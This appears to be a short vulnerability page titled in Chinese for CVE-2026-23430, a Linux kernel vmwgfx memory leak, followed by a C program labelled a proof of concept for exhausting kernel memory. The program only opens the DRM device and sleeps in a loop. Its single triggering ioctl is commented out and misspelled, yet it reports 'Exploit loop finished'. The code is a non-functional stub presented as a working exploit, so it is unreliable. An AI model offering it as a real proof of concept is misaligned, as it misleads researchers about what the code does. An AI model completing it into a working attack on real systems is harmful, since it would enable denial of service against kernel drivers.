CVE-2026-23430 Linux内核vmwgfx内存泄漏漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> /* * PoC for CVE-2026-23430: Linux Kernel vmwgfx Memory Leak * This code attempts to trigger the vulnerability by repeatedly * interacting with the graphics device, assuming the vulnerable * path is reachable via standard DRM operations. */ int main() { int fd; const char *device = "/dev/dri/card0"; // Open the DRM device fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("[+] Triggering memory leak in vmwgfx KMS surface tracker...\n"); // Loop to exhaust memory via the leak for (int i = 0; i < 100000; i++) { // Note: Actual exploitation requires specific ioctl calls // that trigger the surface dirty tracking overwrite. // This loop represents the repeated triggering mechanism. // Simulating the trigger operation // ioctl(fd, VMW GFX_DIRTY_IOCTL, arg); usleep(1000); // Small delay to allow kernel processing } close(fd); printf("[+] Exploit loop finished. Check kernel memory usage.\n"); return 0; }